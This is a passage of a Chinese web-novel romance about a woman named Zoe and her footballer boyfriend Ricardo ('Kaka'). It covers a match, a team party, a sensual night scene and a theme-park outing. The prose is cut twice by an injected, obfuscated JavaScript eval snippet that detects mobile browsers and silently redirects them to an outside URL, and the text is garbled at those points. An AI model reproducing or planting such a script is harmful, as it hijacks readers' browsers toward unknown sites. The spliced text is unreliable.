这位老哥正趁着中场休息的空档大口吃着汉堡,几秒钟的愣神后,他反应过来,转头看向我。“什么?啊,对对,”他费劲地把嘴里的食物咽下,咧开嘴露出一个笑容,指了指胸前醒目的“22”这个数字,“我们是为了卡卡而来的。” “你是卡卡的女朋友吧?我是加蒂。开场前在大屏幕上看到你,我才认出你来,你本人比网上的照片还要漂亮。之前一直没好意思和你打招呼。” “你们是一起来的?” “没错。”他一边回答,一边麻利地擦去嘴边残留的汉堡酱,眼神中透着自豪,“我们在网上有一个讨论组,都是米兰的老球迷,也是卡卡的铁杆球迷。从他在米兰的时候就喜欢他了。他是我们心中最好的前腰!” “你会经常来看他的比赛吗?”他带着一丝期待问道,“他的前妻就不怎么爱来球场。” “我会。”我向他承诺道,“我喜欢看我男朋友踢球。” 就在我和这个意大利小伙子聊天时,周围的观众开始躁动起来。我不明所以地顺着众人的目光向场内望去,一个熟悉的身影正朝这个方向跑来——是里卡多! 球迷们的呼喊声越来越响,场边的教练注意到了这位球星的动向,迎面向他走去,对他指了指球员通道的方向,似乎在示意他回更衣室去。 里卡多停下脚步,与教练简短交谈了几句,两人的目光不约而同地投向了我所在的方位。紧接着,教练露出了一抹会心的微笑,他拍了拍里卡多的肩膀,然后便转身走开了。 身穿十号球衣的男人快步走向看台围栏,他的到来让这一侧看台前排的球迷们爆发出一阵更热烈的欢呼。他们扯着嗓子大喊着他的名字,兴奋地向他挥舞着胳膊、帽子、球衣、旗帜,和一切能挥舞的东西。 “佐伊!”他向球迷们挥手回应,然后大声呼唤我的名字。 我的前方已经涌满了热情的球迷,我努力站起来,试图向前挤去,尼克在一旁伸出手臂来保护我。我焦急地从人群的缝隙中寻找他的身影。他在找我。 “嘿!卡卡要见他女朋友!让他见她!”加蒂一下子跳到了座椅上,生气地大喊起来。 “前面的人让一让!他的女孩在这儿呢!”加蒂的那些红黑球衣朋友们纷纷响应,也加入到这场“秩序管理” 之中。人群逐渐为我让出了一条狭窄通道。所有的目光都聚焦在我们身上。 我走上前,俯下身去,脑海中一片发懵。隔着低矮的围栏,里卡多紧紧抓住我的手。 “佐伊。”笑容如虹彩一般在他唇上浮动,“感觉怎么样?我希望你没有觉得太无聊。” “我爱极了你踢球的样子。球场上的你太有魅力了!”我动容道,感到自己的脸颊因为激动而泛起了红晕,“亲爱的,我深深为足球着迷,更为你着迷。” 他温柔地注视着我,就像长毛犬的绒毛轻轻搔着我的心室壁,让我的心尖都泛起酥麻。被一个人这样凝视的时候,就连血液都会涨成粉紫色的晚潮,漫过所有盛大的狂欢。 为什么他不再说话? 忽然间,我心中一动,是的,就在此刻,在这片绿茵场上,在上帝的注视之下,在球迷的簇拥之中,我们无需再多言。 他伸手揽上我的脖子,我低下了头。于是,我们分享了一个轻柔的,甜蜜的,在涌动不息的紫色海洋中的,在四面八方的镜头下的,小小的吻。 - 足球场上的呐喊和热情围绕着我,我的心跳会随着每一次组织进攻而加速,仿佛我的脉搏与比赛的节奏同频共振。 当下半场的哨声划破天际,比赛的气氛再度紧绷,紧张感如同拉满的弓弦,一触即发。 随着比赛的推进,中场一个长传球精准无误地向着边路呼啸而去,边锋当机立断扣球变向,如一尾灵动的游鱼摇尾回身,瞬间摆脱了对手的纠缠;而那个迅速移动到弧顶处,默契回接的身影,正是里卡多! 此时,对方所有后卫都慌乱地往回奔跑,企图阻截他,里卡多却恰到好处地一记挑传,足球裹挟着草屑,如箭矢一般穿透多人防线,直入禁区。而边锋早已在所有人的注意力都聚焦在奥兰多城10号身上时,抓住这绝佳的时机,从边路疾跑接球。 这球完全没有越位! 边锋敏捷地带球闯入小禁区,直面对方门将。此刻,门将正蹲身展臂,虎视眈眈地紧盯他的每一个动作。 在紧张的对峙中,边锋却做出了一个出人意料的举动,他并未选择直接射门破网,而是迅速带球至球门左角处,一个灵活的转身,紧接着飞脚横扫,将球送至已经跑到球门前的里卡多脚下。 一记机敏的传球!里卡多没有丝毫犹豫,他冷静地推球入门,动作干脆利落,一气呵成。急切侧过身来的门将尽管反应迅速,却已完全阻止不及! 球门再次被洞穿,又一次精妙绝伦的完美配合!奥兰多城再次得分! 全场沸腾!球迷们的激情如同被点燃的火药,瞬间爆炸开来,欢呼声和喝彩声汇成一片,响彻云霄。 进球的瞬间,里卡多肆意大笑。如同往日无数次的胜利一样,他伸展双臂,像翅膀拥抱天空,双手高扬,指向那至高无上、端坐圣堂的主,然后大步绕场飞奔。 然而这一次,他却径直朝着我所在的位置奔来。毫无征兆地,他屈膝跪地,宛如一位凯旋而归的骑士在战场上虔诚俯身跪拜,他在绿茵草地上滑跪前行,依旧高举着双手,手指与目光却同时指向了我。 我蓦然睁大双眼,在那一瞬间从座位上猛地站起。 在这片绿茵场上,在层层叠叠、如波浪般起伏翻涌的手臂中,在全场的喧嚣、躁动和激昂的歌声中,在数万人的声浪中——他们齐声高喊着“卡卡!”“卡卡!”,他指向了我,如同穿透迷雾的灯塔,坚定而清晰地指向了我。 那些美妙的欢呼在狂涛巨浪中滚来,一股脑地直冲进我的心里,在那里化作一眼喷泉,自心灵最深处开始颤动,泛起层层泡沫,喜悦的水柱一路攀升,直抵咽喉。 “里卡多。”我低声呼唤,几乎要被自己狂跳的心音所淹没。我们深深对望着,镜头适时地切向了他,也切向了我。 “他从未改变过他的庆祝动作。”加蒂惊异道,“上帝啊,他竟然改变了他的庆祝动作!” “我知道他在对我说什么。”我声音发着颤。 “你说什么?”加蒂大喊道,“我听不清!” “他在说,他爱我。” 他像爱耶稣那样爱我。 加蒂难以置信地望着里卡多,随后又将目光转向我。“他彻底属于你了,女孩。他是真的爱你。”他感慨道,“他是你的卡卡。” “我们的卡卡。”这一次,我提高音量,大声纠正他,“至少在这里,他是我们的卡卡。” 我们的卡卡。我的里卡多。 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“还有我,还有我!可以和你合影吗?” …… 更衣室的门打开了,奥兰多城足球俱乐部的小伙子们闲聊着鱼贯而出。他们已经换上了便装,脸上挂着比赛后的疲惫与满足。 其中一个留着寸头的黑皮肤小伙子,他身形高挑结实,宛如一棵在风中屹立不倒的橡树,他的目光在落到尼克身上时一亮,主动走上前来打招呼。 “嘿,尼克。怎么不见你老板?直接去赛后发布会了吗?” 说着,他的视线转向我,冲尼克挤了挤眼睛:“哦,这位是不是——” 其他人见状,不约而同地停下脚步,脸上浮起好奇的神色,彼此心照不宣地交换了眼神,聚拢过来。 “老板不去发布会了,他在场上给球迷们签名呢,我们先来这儿等他。”尼克回答,随后向众人介绍道,“这位就是佐伊小姐,老板的女朋友。” “哇,这就是卡卡的女朋友啊,终于见到本人了。”我听到他们压低声音,小声交谈着。 “你刚才没注意吗?她一直在看台上,就在替补席后面,大屏幕上都给了她好几个特写镜头呢。” “我真的没认出来,拜托,我哪有时间看屏幕啊!” “你好,佐伊,很高兴见到你。”寸头小伙子伸出手,宽厚的手掌好似粗壮的枝干,带着蓬勃的力量,“我是里瓦斯,卡卡的队友。” “很高兴认识你,里瓦斯。”我和他握了握手,“你和卡卡配合得超级棒,我在看台上就关注到你了。” “那都是沾了卡卡的光。”里瓦斯有些不好意思地笑了笑。 “嗨,佐伊,我是博登。”一个棕发的白人小伙子像一只机敏的山猫,从人群中迅速挤上前来,热情地向我打招呼,“我在场上踢前锋。你在看台上看到我的表现了吗?我和卡卡的配合也相当默契,虽然这场我没能破门得分,可我创造了不少有威胁的射门机会呢。” “别全信他的,佐伊,他这自卖自夸的本事,只有卡卡不在场的时候才敢施展。”其他人笑着插科打诨,其中一人还轻轻给了博登一脚,调侃道,“别被他给忽悠了,这家伙总觉得自己的脚法就比卡卡差那么一点点。” 这番话就像点燃了欢乐的导火索,大家顿时爆发出一阵哄笑。 紧接着,他们开始你一言我一语地围着我提问,有问我认为他们表现得怎么样的,有好奇我和里卡多是怎么认识的,还有人半开玩笑地央我帮他们牵线搭桥,介绍女朋友。 “佐伊!” 里卡多在走廊里一路小跑而来,他的队友们纷纷向他挥手致意,一边互相推搡着、嬉笑着,为他让出了一条通道。 “抱歉让你久等了,看来你们已经认识了。”他迅速来到我身边,自然地把他的手臂绕在我肩膀上,面带微笑说道。 “这群小伙子们很可爱。”我俏皮道,“他们让我在等你的时候一点也不觉得无聊。” 众人听后立刻笑了起来,随后很识趣地向我们告别。 “队长,晚上的聚餐你可不能缺席呀。”里瓦斯语气恳切道,“还有佐伊,和我们一起去庆祝吧。” 里卡多下意识地看向我,眼神中带着询问。 “我们一定来。”我轻快地回答他们。 - 等里卡多冲完澡,换上一身干净清爽的衣物,我们肩并着肩,穿过内部通道,悠悠地朝着停车场走去。在尼克先行一步去取车之后,里卡多突然停下脚步,转身将我拥入怀中。 “谢谢你,甜心。”他的话语从喉间溢出,带着一丝沙哑。 “不需要对我说谢谢。”我抚摸着他的后背,明白他在感谢我对他的支持——无论是在球场边,还是在他的队友面前。 “我今天状态非常好。”他继续说,“那天,你说你想要见证我的荣誉。今天我在球场上奔跑的时候,忽然意识到,原来我也渴望你的见证。是的,我需要你来见证我的胜利。当你在看台上时,当我知道你在支持着我时,我感到我所奉献和为之付出的,不仅仅是足球,也是你。” “因为你爱我。”我轻声说。 “我爱你。”他低下头,亲吻着我的头发,“我想要与你分享我的荣耀。” 34. 夜半欲色 爵士乐轻快的旋律,在这家洋溢着复古风情的酒吧中流淌,玻璃杯在半空中轻轻碰撞,宛如夜莺在枝头轻吟,发出清脆悦耳的和声。香槟的泡沫在柔和灯光的照耀下,闪烁着迷人的金色光泽。 “那么,各位,下一个问题——” 这是一个宽敞的角落,一张足以容纳我们所有人的长桌前,博登举着一杯香槟,身姿微微前倾,面向大家高声说道:“都听好了,各位!我问,你们十八岁之前破处了吗?破处的请举起酒杯,咱们干一杯,接着好好嘲笑那些成年后还守着处子之身的家伙!” “嘿,小子!这儿还有女士呢!”坐在我斜对面的门将里克特斯,这位身材高大魁梧、皮肤黝黑的牙买加老大哥,猛地重重放下手中酒杯,目光如炬,带着警告意味地瞪了博登一眼。 “哎呀,实在不好意思!看来是这酒劲上头,让我口不择言了。就当我没问过这个,哈哈。”博登察觉到自己的失言,脸上的轻狂瞬间收敛了几分,尴尬地干笑两声。 一时间,气氛变得有些凝滞。 “可别因为我扫了大家的兴。”我微笑着打破沉默,“不过,博登,你这问题可真没什么意思。难道是看我和卡卡都喝得差不多了,故意出个让我们只能干看着的题目?” 众人先是一愣,随即爆发出一阵轻松畅快的笑声,原本尴尬的氛围顿时烟消云散 。 “抱歉,甜心。他们有些口无遮拦。”在音乐和暗色之中,里卡多伏在我耳畔说,他的眼睛就像在黑夜里跳动的烛光。 “没关系,我知道他们没有恶意。”我轻声回应,鼻尖萦绕着他身上散发的浓郁酒香,那是一种橙花的芬芳、青柠的微酸和烤坚果的焦糖香气交融在一起的独特味道。 “我喜欢你身上的味道,”我倚到他的怀里,拉起他的双臂环绕在我身上,仿佛为自己搭建了一个坚固而暖和的窝,“你是我的小棕熊。” 他便将下巴搁在我的头上,用他的手摩挲着我的手掌,指尖在我掌心的纹路里缓缓游走。我们周围的小伙子们已经喝得脸颊泛红,开始三五成群地聚在一块儿大声说笑。 “我之前很少参加这类聚会。”他忽然说。 我轻轻“嗯”了一声,等待着他继续往下说。 “一半原因是我和球队里的人其实不怎么熟悉。我来美国还不到半年,除了训练和比赛,和他们私下几乎没什么往来。另一半原因,你知道,我之前的状态很差,对喝酒这类事情根本提不起什么兴趣。” “你今天喝了不少,亲爱的。” “嗯,我今天喝了很多。”他低声道,手边的高脚杯里盛着浅柠檬色的起泡酒,他举杯一饮而尽,棕发反射出酒的暖黄光,“今天我真的很开心。我进过数不清的球,赢过非常多、非常多的比赛,在巅峰时期,我和我的球队一起捧回过很多座冠军奖杯。而今天的比赛,只是一场普通的常规赛。”他停了下来。 许久之后,我再次回眸望向他,他正愣愣地出着神,眼神有些迷离,仿佛思绪已经飘向了远方。 “你喝醉了,宝贝。”我伸出手,轻轻捏了捏他的脸颊,指尖传来温热柔软、令人舒心的触感。 萨克斯风震颤的铜管音色,裹着蓝调特有的慵懒裂纹,每一个滑音都像黑胶唱针轻轻划过正在融化的蜜蜡。他缓缓眨了眨眼,像是从遥远的梦境悠悠转醒。然后,他低下头,目光与我相接,眼神中满是眷恋。 “我今天很开心,佐伊。” “你刚才已经说过啦,我知道你很开心。”我眉眼带笑。 “哦。”他懵懂应道。 “我真的非常开心。”他再次强调,语气认真。 我忍不住笑出声来。 “嘿,佐伊。”里瓦斯忽然挤到我们身边,双目炯炯地盯着我,“我有个问题,我实在太好奇了——你以前就喜欢卡卡吗?” “以前?”我微微收起笑容,反问道,“你是说我和里卡多在一起之前吗?” 黑人小伙用力地点了点头:“比如他在米兰或者皇马的时候,那时候你应该还很小吧?你知道他吗?” “唔——”我瞅了两眼恍神中的大球星,严肃地点点头,“当然知道啦。事实上,我六岁的时候就是他的小粉丝了。我西班牙外婆家里还留着一张他的签名合照呢。” “哇哦!”他不禁惊叹道,“这么说来,他就是你的理想型咯?” 理想型?我微微思索片刻,脑海中浮现出第一次见到他时,那张让我一见钟情的脸庞。嗯,毫无疑问,他绝对是我的理想型! “没错。”我毫不心虚地说道。 “谢谢你的回答,亲爱的女士!”里瓦斯一脸心满意足,仿佛吃到了超级大瓜似的从座位上跳起来,活像一株晃动着满树冠橡果的活泼小树,“簌簌” 作响地扎进了一群红脸狒狒中。 “你们绝对想不到我打听到了什么!卡西奥,要是你把你的阿斯顿马丁借我开一个月,我就告诉你!” “你骗人。”里卡多直勾勾地看向我,一时间,他的眼神里竟显得有些委屈,“你这个小骗子。你明明把我忘了,唔——” 我用一个深吻封住了他的唇,将他未出口的话语消融在我们彼此的气息里。酒杯里折射出交叠的鼻尖,他含住我下唇的力度像含着一块马上要融化的方糖。 夜色渐渐加深,霓虹灯光在飓风和郁金香形状的鸡尾酒杯里摇曳生姿,紫藤和玫瑰的图案在天花板上投下一片香气浮动的阴影,随着光彩变幻,延伸成明亮的环状物。 男男女女的暧昧呢喃浮悬在上空,留下一连串摇曳不定的影子,偶尔有人抬手,饮下一枝罂粟红或一抹苔藓绿。 “我们该回去了。”我捧着这个男人的脸,凝视着他的眼睛,“宝贝,你能站起来吗?我们得回家了。” “我们,回家。”他重复我的话,乖乖地站起身来。 一些大胆的粉丝开始朝我们的桌子靠近,他们渴望能和这些球员合影,而一大半的目光都落在里卡多身上。 “不好意思,卡卡已经喝醉了。我需要带他回家。”我语气坚决地回绝了合影请求,揽着他向吧台走去。 那群已经喝得东倒西歪的狒狒们想过来帮忙,我摇了摇头,大声叫他们回去。里卡多紧紧抓住我的胳膊,顺从地跟着我挪动。 我在吧台为这群小伙子们结账,最先醉倒的这个在我身旁垂着头,反应迟钝地嘟囔:“在我口袋里,密码是,82,04,22,……” “好啦好啦,你口袋那么多,我现在可没功夫掏你的卡。”我揉了一把他的头发,从钱包里抽出自己的信用卡,递给服务员。 账单上的价格在我的承受范围内,看来这群家伙没专挑最贵的酒点。嗯,是一群可爱的红脸狒狒。 - “下雨了。”我推开酒吧的门,一步跨出,潮湿清新的水汽便在冷冽的空气中蹿进鼻腔。 现在的天空呈淡紫色,路边的建筑在月光和细雨中逐渐变成了银白色。一扇扇光芒微弱的窗户里,传来浅淡低语声和飘渺的金属般的笑声,它们在柔曼的晚风中飘荡,几乎要消逝在夜色之中。 “我不喜欢下雨。”他喃喃道,把脸转向月亮。棕色的头发垂在他眼前,他的侧脸在雨中荧荧发亮,像一块闪绿的玉石雕像。 “里卡多。”我低声呼唤他,他回头凝望我。我正站在路灯打下来的金黄色光束里,雨水中漂浮着一点短暂而浓郁的花香。 他抬起手背,轻轻擦去飘落到我眉骨上的雨滴。 “为什么不喜欢下雨?”我问。 他缓缓皱起眉头,像是在艰难思索。“天色那样灰暗,即使是白天,阳光也被,无情地吞噬了。在雨中,我好像一步步,一步步掉进了黑暗,我感到……非常孤独。” 我将手覆在他的手上,凝视着这张在雨雾濛濛中显得冰冷而格外美丽的面庞。 “你讨厌大海吗?” “不讨厌。”他像个乖巧的孩子般回答,“我喜欢大海,我在海边遇到了佐伊。” “我们现在,就在海里呀。” 他的瞳孔因吃惊而急剧扩张,嘴巴下意识地张开,流露出一丝困惑。 笑意在我脸上蔓延,“你看,雨是天空中的另一片海洋。当一小片海在阳光闪耀下化为轻盈的水蒸气,它们悠悠上升,便凝结成了天穹上的云朵,最终又自云端飘落,化作雨滴,再次回归大海。 “想象一下,我们的城市被从天穹倾泻而下的海水所覆盖,仿佛天空打开了一扇神秘的闸门,释放出无尽的蓝色液体。我们的房屋就像漂浮其中的小岛,窗户透出的零星灯光像在波涛上闪烁的塔灯,而所有的星星都低低地悬垂在微光之上,仿佛触手可及。 “我们在雨幕中转来转去,就像滑翔在透明水流中的鸟儿或随着海浪而涌动着的两条鱼儿,我们可以望着星星思索,我们可以发着呆或者做一切我们想做的事情。” “我们,可以,做,一切事情?”他一个词一个词地缓慢重复。 “你想做什么,我就会陪你做什么。”我牵着他的手,朝我们静卧在雨水中的汽车走去,“你才不会孤独,因为我无论如何都不会松开你的手。上帝啊,我可是好不容易才从黑暗里跑出来,得以亲吻你的灵魂,又怎么会让你一个人陷入黑暗呢?” - 当我把这只浑身湿漉漉、眼神懵怔的大熊带回别墅后,不禁犯起了难。 “你还能自己去洗澡吗?”我头疼地看着他。 他乖乖点头。 “那为什么还拉着我的手?”我耐心问。 “佐伊说不会放开我的手。”他有问必答。 我顿时语塞,心里暗自叫苦,所以这是我给我自己挖的坑? “你真的喝醉了吗?”我凑近他的脸,狐疑地打量着他。那双清澈的褐色眼睛,正无辜地回望着我。 “这可不能怪我欺负你啊。”我嘟囔着。 我弯腰扑到沙发上找我的包——里卡多一个踉跄,差点被我拽倒——我手忙脚乱地一通翻找,终于从包内的夹层里掏出手机。我迅速打开手机摄像头,调整好焦距,然后举起来对准面前这张泛着醉意的脸。 “你是自愿和佐伊一起洗澡的吗?”我在镜头外问。 他眨了眨眼,回答得十分干脆:“是。” “那今晚不管我对你做什么,你都不会反对,对吧?” “要对我做什么?”他出人意料地反问道。 啧,看来这男人也没有醉得一塌糊涂嘛。 “做一些快乐的事情。”话一说出口,我自己先觉得脸颊微微发烫。 “快乐的……事。”他重复道,“我今天很快乐。”他嘴角上扬,露出一口整齐的牙齿。 “等会儿的事会让你更快乐。”我柔声诱导着,恍惚间觉得自己像个不怀好意、诱骗涉世未深少年的坏家伙,可明明眼前这人阅历丰富,而我才是那个青涩懵懂、毫无经验的人! “你现在心里很快乐,但这还不够。等会儿,我会让你的身体也感受到同样的快乐。”我继续说,一本正经的语气下,实则是一个在脑海里兴奋得如同脱缰野马般横冲直撞、欢呼雀跃的小女孩。 “怎么让我的,身体,也快乐呢?”他慢吞吞地问。 “嗯……”我刚要开口,刹那间,心底划过一丝疑虑。 等等,情况似乎不太对。这人怎么喝醉了说话还这么有条理?刚才在酒吧里,他分明是一副我让做什么就乖乖做什么的模样,怎么现在…… 我心中警铃大作,猛地把手机移开,眯起眼睛,目光锐利地射向他。 “你还没说呢,甜心,到底要怎么,让我的身体,也感受到快乐?”他嘴角微微一勾,似笑非笑地看着我。 “哈!原来你根本没醉!”我气呼呼地瞪着他。这装醉的家伙!原本还以为自己可以掌控局面,没想到却被他反将一军。 “在酒吧那会儿,确实有点醉意,” 他不紧不慢地解释着,一边说,一边抬手轻轻理顺有些凌乱的头发,“出门被雨一淋,就清醒了不少。不过,” 他微微皱起眉,停顿了一下,像是在斟酌用词,“我的脑子一直很清醒,就是说话和反应,可能稍微慢了点。” “哦——”我原本高涨的气焰一下子熄灭了,懊恼的情绪涌上心头,我拉长声音,不情不愿地说,“那你去洗澡吧,需不需要我帮你拿衣服?” “不用,只要佐伊把自己送进来就好。”他迎着我惊讶的目光,好整以暇地说道,“你不是说,要和我一起洗澡吗?” 我瞬间脸红了。拜托,逗弄一只醉醺醺、毫无招架之力的迷糊大熊,和面对一个清醒且荷尔蒙爆棚的帅气男朋友,这完全是两码事! “这不是机会难得嘛,我以为你不清醒了。”我小声嘀咕。清醒后的男人,禁欲气质依旧,魅力丝毫不减,逗起来也很有意思,可一不小心就容易被他反撩回来,哪有他醉酒时那么好玩! “如果我今晚真的很不清醒,那你真的会对我做什么吗?”他微微俯下身,朝我靠近,一座在水晶吊灯下湿濡的、银光闪闪的阿波罗铜像。 我双手捂住滚烫的脸颊,逃避似的歪倒在沙发上。 “一起去洗澡吧,洗完澡我还等着你对我做那些,快乐的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956420|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。”他挨着我坐下,顺手捡起我丢在一旁的手机,“你刚才可是自己录下来的,我很想知道,你到底打算怎么,让我的身体也快乐起来。” 我差点忍不住眼含热泪,透过指缝偷偷瞥向他。“你今天怎么这么主动?不对劲,你不对劲!基督徒先生,你往日的圣洁去哪了!”我义正言辞道。 “就算是圣子,也会被允许在伊甸园里享受欢愉。”他幽幽道,恰似一条隐匿于暗处的蛇,悄然靠近一只狐狸,他的身体缓缓向我贴近,“而且,这不是你想要的吗,甜心?——更亲密的接触。我现在要履行诺言了。” 我张了张嘴,接连吐出几个 “你,你,你”,却怎么也拼凑不出一句完整的话。他抚上我额前的碎发,手指顺着我的脸颊一直滑落至耳廓,轻轻揉捏我的耳垂。 “别担心,我们不该做的事情,我绝对不会做。”他的呼吸温热而微甜,在我的耳蜗里肆意打着旋儿,“但我们可以一起享受快乐,而方式有许多种,比如说——” 他故意顿了顿,我微怔着,心跳如失控的野兔,瞬间频促。 他重重按上我的唇瓣。“第一种方式,用我的手指。” 我浑身一颤,一种异样的感觉从身体最隐秘的深处滋生出来,起初纤细得如同丝萝摇曳,却在他的低声细语中欣然抽长,一寸又一寸,直至攀援缠绕到了极点。 我的大脑渐渐变得混沌不清,理智在这股强烈情感的冲击下摇摇欲坠,几近崩塌。我下意识地紧紧咬住下唇,微弱的刺痛感却转瞬被无尽的迷乱吞噬。 很快,我的手指仿若被一股不可抗拒的力量牵引着,缓缓地,一根一根挪开,继而抚摸上这张脸。 指尖触到那发光的眼珠上面缠结闪动的眼睫毛,滑过他优美的鼻梁、莹润的唇畔,在上下唇之间那道细窄的缝隙里,两排洁净的牙齿显得比白天更加细白、尖锐,像是昼伏夜出的动物褪去了温厚的毛皮,吐息里裹挟的炽热温度,让我的手指遽然一缩。 而后,指腹又落在他入夜后生出柔软胡茬的下巴上,短暂的停顿后,猛地发力,将他的下巴骤然拉近,旋即,那些狂乱的亲吻便如急骤的雨点般肆意落下。 他先是微微一僵,显然被我突如其来的攻势打得有些措手不及。但很快,他眼中闪过一丝笑意,伸手捧住我的面庞,力度恰到好处,将我从那近乎疯狂的状态中暂时拉回。 “别着急,小狐狸,” 他柔声道,“我们先去洗澡。” - 高高喷洒下的水雾里,飘满了蔷薇和白檀沐浴露的味道。那淡雅的香气,本应带来宁静与幽渺,让人心神舒缓,此刻却像是催化剂,改变了空气中的每一个分子,赋予它们一种蛊惑人心的魔力。 透过雾气迷蒙的玻璃门看浴室天花板上悬挂的灯,就像透过一团团边界模糊的云层,盯着一颗又热又亮,不知道什么时候会爆炸的恒星。 我闭起眼睛,宛如一只裹在水流里、扬起脖颈的濒危的鸟儿,在一种危机四伏却妙不可言的状态里蹒跚而行,在和他的肌肤一同燃烧。如同野火与磷光,越是压抑,越是炽烈。 “巴西的性教育片这么厉害吗?”当我被他擦干水珠、轻柔地抱到床上时,我从他的颈窝里抬起头问。我似乎感受到了他的笑声。 笑,他一直在笑。不是我的耳朵听到的,而是从他身上散发出来的笑意,是酒醉时筛下的一缕浓香和从灵魂里攥出来的清晰而巨大的愉悦。 他时而是一位天使,时而又变成了一只野生动物,暖和冷,亲密和陌生,隐晦和浓烈,舒缓和迷狂,克制和粘稠,所有的特质在他身上悄然融合。 他后颈渗出的汗珠滚落进我的肌肤,在锁骨汇成小小的咸涩湖泊,我的血液在沸腾冒泡。 有时,我们密不可分地贴合着,像是一扎拥得紧紧的玫瑰花束。花朵和枝叶彼此勾连、缠结、牵绊着,花刺甜蜜地啃啮着起栗的肌肤,却只是颤抖着想要更深一点的疼痛。 他光洁的额头和陡峻的眉峰耸立出一种冷冽,衬托着他那令人心痛的、孩童般的褐色眼珠的深情。他的嘴唇在我的脊背与肩胛骨连成的海岸线上宛转浮游。而手指,是柔软的、粗粝的一束又一束野草,触碰着抚摸,下坠,又下坠,在溪流或疏林中掉落到底部,往丛生的湿意里拾取炽热,像在拨动一横鱼鳞,亲吻一片鸟腹。 到了最后,我感觉自己变作了一根蓝绿色的微弱丝线,比浮漂还要轻,却在紧绷,紧绷,忽而整个延展成了一汪大海,满溢的白色泡沫在模糊中托起一个女人的轮廓,山峦般起伏、动人的躯体,然后从中振翅飞出一只翠鸟。 我以为我的心脏要爆炸了,好像挂在浴室天花板上的那颗恒星,在明亮的爆炸中色斑迸裂一地,暗蓝翠绿的翅膀四分五裂。但是我没有,我变成了一只翠鸟。从深褐色的大地里破土而出的翠鸟。在无限欢愉中飞出的翠鸟。披着艳丽体羽,光辉灿烂的翠鸟。 “感觉怎么样?”我清楚地记得结束后他这么问我,就像是每一个日光美妙的早晨他在我额头上亲吻,问我昨夜睡得如何一样。 “我不知道该怎么形容,”我喃喃道,拿来盖身体的毯子此刻在我们脚边卷成一团,巴洛克式的壁灯在他身体上投下层次分明的光影——在那些明亮的部分,他光洁的肌肤上,每一个毛孔都清晰可见,“快乐得让我想流泪。” “你变成了一个狂暴的天使,或者一条温柔的蛇。”我凝视着他肩膀上被我用指甲划出的淡粉痕迹,稍作沉思后,又调整了我的修饰语,“一个拒绝清醒的天使,一条陷入美梦的蛇。” 他轻声笑了起来,随后把我搂进他的怀里,收拢了强壮的臂膀,我们的肌肤紧密相贴。“我只想让你感到快乐。”他在我的耳边倾诉,“现在和未来,我都想让你快乐。” 我忽然想起一件事,一件被我不小心遗漏的事,这太不应该了,我不能只想着我自己享乐。于是,我的手指轻轻沿着他胸肌的轮廓游移,犹豫着问:“你有……吗?我可以帮你。”我有些害羞,又有些迫切。 这种体验实在是太令人愉悦了,初次尝试便令我食髓知味,难以餍足。那种从头顶直窜到脚趾的炽热,让人口干舌燥,却又被极致的幸福包裹。甜蜜肆意蔓延,喜悦闪闪发光,仿佛有万片碎金澎湃不息,汹涌而来。 “我有。”他安抚我。 “可我没为你做些什么,而你一直在帮我。” “看着你那时的表情,我也情不自禁地……”他脸颊泛红,话音渐渐弱下去。 我眨了眨眼,思索着合适的词语:“那我们是一起到达的——” “人间至乐。”他轻声说。 35. 环球影城 教练给球队放了一天假。天还没亮,球队小伙子们的电话就一个接一个打进来,热情邀请我和里卡多去他们家里做客。但今天我们早有打算,只好满怀歉意,一一婉拒了这些邀约。 没错,我们要去环球影城啦! 请注意,是“环球影城啦”,而不是“环球影城”。这小小的“啦”字,从我嘴里不受控制地飘出,已经持续半小时了。 清晨,我从床上一跃而起,哼着小曲儿跑去洗漱。在衣帽间换衣服时,愉快的旋律始终在唇齿间萦绕。踮起脚尖,给我亲爱的男朋友一个甜蜜的早安吻时,哼唱声短暂停顿了一下。可嘴唇刚离开他的脸颊,歌声又潺潺淌出,就像是一张在唱片机上卡顿片刻后又继续转动的唱片。我用各式各样的旋律,为这首专属的“啦啦啦”之歌精心编曲配乐。 “我喜欢《Waka Waka》版本的。”里卡多说道。他赤裸着上身,迈步走近,低下头为我调整了胸前那条红金条纹领带的结。 “你不喜欢《海德薇变奏曲》吗?”我问道。 “《海德薇变奏曲》有一种宏伟神秘的氛围,但我偏爱那些明快的旋律。当然,你哼唱的每一个音符都悦耳动听。”他退后一步,仔细端详着我,“宝贝,你让我感觉到,你现在的兴奋程度甚至超过了昨晚。” “这完全是两码事。”我轻轻推了一把他的腰,催促他赶紧去换衣服,“昨晚是前所未有的感官震撼,而今天则是心灵上的愉悦。” “难道我只能让你在生理上感到满意吗?”他被我推着向前快走了几步,一边伸手打开衣柜门,一边回头,脸上挂着一副夸张的失望表情。 我在镜中向他投去一个飞吻。“哪里的话,和你在一起的每分每秒,我的内心都被幸福填满。” “那你过来亲我一下。”他系着衬衫纽扣,抬头说道。 我们的目光在镜中交汇。“我想要你亲我。”他说,手指熟练地系好了最后一颗纽扣。随后,他从衣架上取下那条前天店员刚送来的黑袍子。 “但我刚刚已经给过你一个吻了呀。”我双手叉腰,扭过头,眨巴着眼睛道。 “我要一个真正的吻。”他带着点委屈的腔调,双手一抖,宽大的衣摆便在空中展开,他将手臂穿过袖子,把长袍披在肩上。 我歪着头,伸出食指,朝他轻轻勾了勾,声音柔软得如同云端的细语,轻盈飘向他:“我最爱的小棕熊,到我这儿来。”他定神注视着我,脚步缓缓朝我靠近。 我顺势搂上这个男人的脖子,将他拉向我,而后给了他一个湿润而迷迭的吻。“亲爱的,你穿上獾院的校服简直太迷人了,比塞德里克还要帅。”我的嘴唇在他的唇上摩挲着。 